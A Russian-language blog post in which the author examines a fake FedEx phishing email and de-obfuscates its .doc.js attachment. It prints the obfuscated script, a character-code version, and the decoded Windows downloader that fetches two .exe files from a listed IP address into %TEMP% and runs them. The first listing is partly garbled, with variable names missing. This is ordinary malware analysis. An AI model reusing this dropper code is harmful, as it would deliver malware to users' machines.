Как javascript-новичек троян ловил

в 14:35, , рубрики: Песочница, метки: , ,

Привет всем. Начну с того, что сегодня ко мне на почту пришло подозрительное письмо.

Текст письма под катом.

image

Письмо смутило по нескольким причинам, а именно: никакими услугами FedEx я не пользовался, обращение Iskander и кривой логотип FedEx, что видно на скриншоте выше.

Стало интересно, что же это за вложение такое. Скачав его на компьютер zip-архивом, первым делом проверил на VirusTotal. Результат оказался неутешительным. Всего 2 срабатывания, да и то одно из-за двойного расширения файла.

Распаковываем архив и… Антивирус ничего не заметил. Как оказалось, внутри содержался файл с именем ISKANDER__Delivery_Status_Notification_0000170124.doc.js.

Открываем файл блокнотом и смотрим его содержимое. После обработки файла Beautify-ром, код принял следующий вид:

Код файла

var = "";

function () { += ;
};
("102385442111738");
("544211103854421");
("99385442111638544211053");

/*---------------------------------------------------
Куча подобных строк
-----------------------------------------------------*/


("4385442156385442");
("1463854421101385442112038544");
("211013854421343854421");
("443854421493854421413");
("85442159");
hans2 = "arC";
randons = String;
hans = "omC";
nord = randons["fr" + hans + "h" + hans2 + "ode"];

function z(a) {
    return nord(a);
};

function ra(z) {
    return "l";
};

function y() {
    return "3854421";
}; = "";
c = 1 == 0 ? true : "sp" + ra("var") + "it"; = [c](y());
for (var = 0; < .length; ++) += z([]);
eval();

Что ж, пробуем запустить этот код, предварительно убрав из него строчку eval();

Как и ожидалось, код не запустился даже в изначальном виде, что довольно таки странно.

Пробуем разобраться, что же по замыслу автора делает этот код. Идем в конец файла и смотрим его содержимое. Нас интересуют следующие строки:

hans2 = "arC";
randons = String;
hans = "omC";
nord = randons["fr" + hans + "h" + hans2 + "ode"];

function z(a) {
    return nord(a);
};

function ra(z) {
    return "l";
};

function y() {
    return "3854421";
}; = "";
c = 1 == 0 ? true : "sp" + ra("var") + "it"; = [c](y());
for (var = 0; < .length; ++) += z([]);

После короткого осмысления находим знакомые команды: String.fromCharCode и split.

В общих чертах все вышеперечисленные числа складываются в одну строку, затем в местах нахождения кода вида 3854421 строка делится. Так как в javaScript я не силен, то просто берем и выполняем все эти действия самостоятельно.

Файл принимает следующий вид:

Обработанный файл

String.fromCharCode("102", "117", "110", "99", "116", "105", "111", "110", "32", "100", "108", "40", "102", "114", "44", "102", "110", "44", "114", "110", "41", "32", "123", "32", "118", "97", "114", "32", "119", "115", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "87", "83", "99", "114", "105", "112", "116", "46", "83", "104", "101", "108", "108", "34", "41", "59", "32", "118", "97", "114", "32", "102", "110", "32", "61", "32", "119", "115", "46", "69", "120", "112", "97", "110", "100", "69", "110", "118", "105", "114", "111", "110", "109", "101", "110", "116", "83", "116", "114", "105", "110", "103", "115", "40", "34", "37", "84", "69", "77", "80", "37", "34", "41", "43", "34", "92", "92", "34", "43", "102", "110", "59", "32", "118", "97", "114", "32", "120", "111", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "77", "83", "88", "77", "76", "50", "46", "88", "77", "76", "72", "84", "84", "80", "34", "41", "59", "32", "120", "111", "46", "111", "110", "114", "101", "97", "100", "121", "115", "116", "97", "116", "101", "99", "104", "97", "110", "103", "101", "32", "61", "32", "102", "117", "110", "99", "116", "105", "111", "110", "40", "41", "32", "123", "32", "105", "102", "32", "40", "120", "111", "46", "114", "101", "97", "100", "121", "83", "116", "97", "116", "101", "32", "61", "61", "61", "32", "52", "41", "32", "123", "32", "118", "97", "114", "32", "120", "97", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "65", "68", "79", "68", "66", "46", "83", "116", "114", "101", "97", "109", "34", "41", "59", "32", "120", "97", "46", "111", "112", "101", "110", "40", "41", "59", "32", "120", "97", "46", "116", "121", "112", "101", "32", "61", "32", "49", "59", "32", "120", "97", "46", "119", "114", "105", "116", "101", "40", "120", "111", "46", "82", "101", "115", "112", "111", "110", "115", "101", "66", "111", "100", "121", "41", "59", "32", "120", "97", "46", "112", "111", "115", "105", "116", "105", "111", "110", "32", "61", "32", "48", "59", "32", "120", "97", "46", "115", "97", "118", "101", "84", "111", "70", "105", "108", "101", "40", "102", "110", "44", "50", "41", "59", "32", "120", "97", "46", "99", "108", "111", "115", "101", "40", "41", "59", "32", "125", "59", "32", "125", "59", "32", "120", "111", "46", "111", "112", "101", "110", "40", "34", "71", "69", "84", "34", "44", "102", "114", "44", "102", "97", "108", "115", "101", "41", "59", "32", "120", "111", "46", "115", "101", "110", "100", "40", "41", "59", "32", "105", "102", "32", "40", "114", "110", "32", "62", "32", "48", "41", "32", "123", "32", "116", "114", "121", "32", "123", "32", "119", "115", "46", "82", "117", "110", "40", "102", "110", "44", "48", "44", "48", "41", "59", "32", "125", "32", "99", "97", "116", "99", "104", "32", "40", "101", "114", "41", "32", "123", "125", "59", "32", "125", "59", "32", "125", "59", "32", "100", "108", "40", "34", "104", "116", "116", "112", "58", "47", "47", "54", "53", "46", "53", "49", "46", "49", "49", "57", "46", "49", "52", "54", "47", "100", "111", "99", "117", "109", "101", "110", "116", "46", "112", "104", "112", "63", "105", "100", "61", "53", "52", "53", "53", "53", "52", "53", "69", "53", "51", "48", "68", "49", "55", "48", "70", "48", "53", "48", "65", "48", "48", "48", "49", "49", "54", "50", "52", "48", "57", "48", "53", "48", "68", "48", "56", "52", "65", "49", "54", "49", "49", "38", "114", "110", "100", "61", "56", "50", "48", "52", "55", "55", "49", "34", "44", "34", "52", "57", "49", "49", "49", "55", "52", "56", "46", "101", "120", "101", "34", "44", "49", "41", "59", "32", "100", "108", "40", "34", "104", "116", "116", "112", "58", "47", "47", "54", "53", "46", "53", "49", "46", "49", "49", "57", "46", "49", "52", "54", "47", "100", "111", "99", "117", "109", "101", "110", "116", "46", "112", "104", "112", "63", "105", "100", "61", "53", "52", "53", "53", "53", "52", "53", "69", "53", "51", "48", "68", "49", "55", "48", "70", "48", "53", "48", "65", "48", "48", "48", "49", "49", "54", "50", "52", "48", "57", "48", "53", "48", "68", "48", "56", "52", "65", "49", "54", "49", "49", "38", "114", "110", "100", "61", "56", "51", "49", "57", "57", "55", "50", "34", "44", "34", "52", "56", "53", "54", "52", "54", "54", "56", "46", "101", "120", "101", "34", "44", "49", "41", "59");

Запускаем его в браузере и получаем следующее содержимое:

Содержимое

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\" + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function () {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    xo.open("GET", fr, false);
    xo.send();
    if (rn > 0) {
        try {
            ws.Run(fn, 0, 0);
        } catch (er) {};
    };
};
dl("http://65.51.119.146/document.php?id=5455545E530D170F050A0001162409050D084A1611&rnd=8204771", "49111748.exe", 1);
dl("http://65.51.119.146/document.php?id=5455545E530D170F050A0001162409050D084A1611&rnd=8319972", "48564668.exe", 1);

В принципе, теперь понятно, что это и с чем едят. Код скачивает с левого сайта два файла и сохраняет их на диске под именами 49111748.exe и 48564668.exe.

Проверяем ссылки на вирустотале.

image

Собственно, интересный результат: всего 18 антивирусов отреагировало на файл, среди них и мой AVG.

Все действия был проведены на свой страх и риск. Не рекомендуется использовать данный метод в домашних условиях.

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js